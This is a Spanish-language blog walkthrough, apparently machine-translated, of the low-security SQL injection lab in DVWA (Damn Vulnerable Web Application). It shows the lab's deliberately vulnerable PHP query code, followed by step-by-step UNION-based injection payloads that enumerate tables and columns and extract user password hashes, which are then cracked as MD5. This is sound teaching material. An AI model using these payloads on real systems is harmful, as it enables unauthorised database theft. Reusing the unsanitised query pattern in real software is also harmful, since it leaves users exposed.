DVWA —— Inyección SQL (baja)

Inyección SQL

interfaz

Inserte la descripción de la imagen aquí

Código fuente

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
    
    
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {
    
    $id}<br />First name: {
    
    $first}<br />Surname: {
    
    $last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Análisis de código

        Después de que el usuario hace clic en enviar, el usuario obtiene la identificación ingresada por el usuario y luego imprime el nombre y apellido correspondientes. Se puede ver que la identificación ingresada por el usuario no se juzga legalmente, lo que puede causar fácilmente una inyección de SQL.

Paso de infiltración

        Paso 1: Ingrese 1 para ver los resultados.
Inserte la descripción de la imagen aquí
        Paso 2: Ingrese 1‘ or ‘1’=’1y vea los resultados. Puede ver que tiene todos los datos de identificación en la base de datos, para que sepa que efectivamente existe una vulnerabilidad SQL.
Inserte la descripción de la imagen aquí
        Paso 3: Adivine el campo de la biblioteca actual por orden por. Entrada 1' or 1=1 order by 1 #, el resultado de entrada es normal
Inserte la descripción de la imagen aquí
        Paso 4: Adivina el campo de la base de datos actual por orden por, entrada 1' or 1=1 order by 2 #, el resultado de entrada es normal
Inserte la descripción de la imagen aquí
        Paso 5: Entrada 1' or 1=1 order by 3 #, el resultado de entrada es anormal, la base de datos actual tiene solo dos campos, a saber, Nombre y Apellido
Inserte la descripción de la imagen aquí
        Paso 6: Ingrese 1' union select 1,2, puede ver que hay 1, 2 en la segunda columna de datos, puede modificar el valor de 1, 2 para obtener los datos que quiero.
Inserte la descripción de la imagen aquí
        Paso 7: Pruebe la conjetura anterior, ingrese para 1' union select database(),version()#obtener el nombre de la base de datos actual y la versión de la base de datos, Verifique los resultados para confirmar que puede usar union select para obtener los datos deseados.
Inserte la descripción de la imagen aquí
        Paso 8: Ingrese el 1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#nombre de la tabla en la base de datos.
Inserte la descripción de la imagen aquí
        Paso 9: Decodifique el código hexadecimal obtenido para obtener el nombre real de la tabla: libro de visitas, usuarios. Solo dos tablas.
Inserte la descripción de la imagen aquí
        Paso 10: Ingrese y 1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #vea los nombres de los campos en la tabla de usuarios
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
        . Once pasos: ingrese 1' union select first_name,password from users#y consulte el nombre de usuario y la contraseña.
Inserte la descripción de la imagen aquí
        Paso 12: use la herramienta de descifrado md5 para descifrar la contraseña obtenida, y podrá ver que el resultado es correcto
Inserte la descripción de la imagen aquí

Problemas encontrados

        1. ¿Por qué se usa la función hexadecimal en los pasos octavo y décimo?
Solución: Si no se usa la función hexadecimal, se informará un error. Esto se debe al problema causado por la codificación.
Imagen de error:
Inserte la descripción de la imagen aquí
        2. Cómo determinar que la base de datos utiliza el
método de cifrado md5 .: Supongo, buena suerte

Supongo que te gusta

Origin blog.csdn.net/qq_37589805/article/details/112279906
Recomendado
Clasificación